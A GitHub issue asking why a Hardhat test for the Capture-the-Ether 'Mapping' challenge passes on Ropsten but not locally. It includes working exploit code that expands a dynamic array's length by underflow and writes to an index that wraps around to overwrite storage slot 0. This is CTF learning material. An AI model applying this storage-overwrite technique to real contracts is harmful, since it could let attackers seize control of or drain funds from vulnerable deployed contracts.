Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Question about different behavior locally vs online on mapping.ts #1

Open
foufrix opened this issue Sep 21, 2022 · 0 comments
Open

Comments

@foufrix
Copy link

foufrix commented Sep 21, 2022

Hi,

First of all, thank you very much for this repo. Really helpful to understand and go through everything when stuck.

I noticed a strange behavior on the mapping test, would you be able to point me out why when running hardhat locally I have different behavior than when running it on Ropsten:

I've added a check guess to retrieve the first memory of the contract that contains the state of isComplete

before(async () => {
  accounts = await ethers.getSigners();
  [eoa] = accounts;
  const challengeFactory = await ethers.getContractFactory("MappingChallenge");
  contract = challengeFactory.attach(
    `0xdF075c1c586711510afeE671ac9515A39F492DA9`
  );
});

it("solves the challenge", async function () {
  // all of contract storage is a 32 bytes key to 32 bytes value mapping
  // first make map expand its size to cover all of this storage by setting
  // key = 2^256 - 2 => map.length = 2^256 - 2 + 1 = 2^256 - 1 = max u256
  // this bypasses bounds checking
  tx = await contract.set(BigNumber.from(`2`).pow(`256`).sub(`2`), `0`);
  await tx.wait();

  // now try to index the map in a way such that write to the isComplete variable
  // > In the case of a dynamic array, the reserved slot contains the length
  // of the array as a uint256, and the array data itself is located sequentially
  // at the address keccak256(p).
  // https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte#solidity-storage-layout
  // https://docs.soliditylang.org/en/v0.6.8/internals/layout_in_storage.html#mappings-and-dynamic-arrays

  // map[0] value is stored at keccak(p) = keccak(1)
  // needs to be padded to a 256 bit
  const mapDataBegin = BigNumber.from(
    ethers.utils.keccak256(
      `0x0000000000000000000000000000000000000000000000000000000000000001`
    )
  );
  console.log(`mapDataBegin`, mapDataBegin.toHexString());
  // need to find index at this location now that maps to 0 mod 2^256
  // i.e., 0 - keccak(1) mod 2^256 <=> 2^256 - keccak(1) as keccak(1) is in range
  const isCompleteOffset = BigNumber.from(`2`).pow(`256`).sub(mapDataBegin);

  tx = await contract.set(isCompleteOffset, `1`);
  await tx.wait();

  const guess = await contract.provider.getStorageAt(contract.address, 0)
  console.log('guess: ', guess);

  const isComplete = await contract.isComplete();
  expect(isComplete).to.be.true;
});

image

We can see that when running offline, the script doesn't change the state of isComplete to true, but it does when running on Ropsten.
Do you know why we have this behavior offline and not online? Hardhat is supposed to make a hard copy offline of the state of the contract and we run things on it with the test and alter the state no?
Or de we need to run a local ganache setup and deploy the contract on it and run hardhat on local blockchain to have a real feel of what's supposed to happen on the real blockchain?

EDIT:
From the Hardhat Network page we can read this :
image

So I was expecting the behavior to be as what's happen on the online blockchain

Repository owner deleted a comment Feb 15, 2024
Repository owner deleted a comment from nerypy Mar 5, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants
@foufrix and others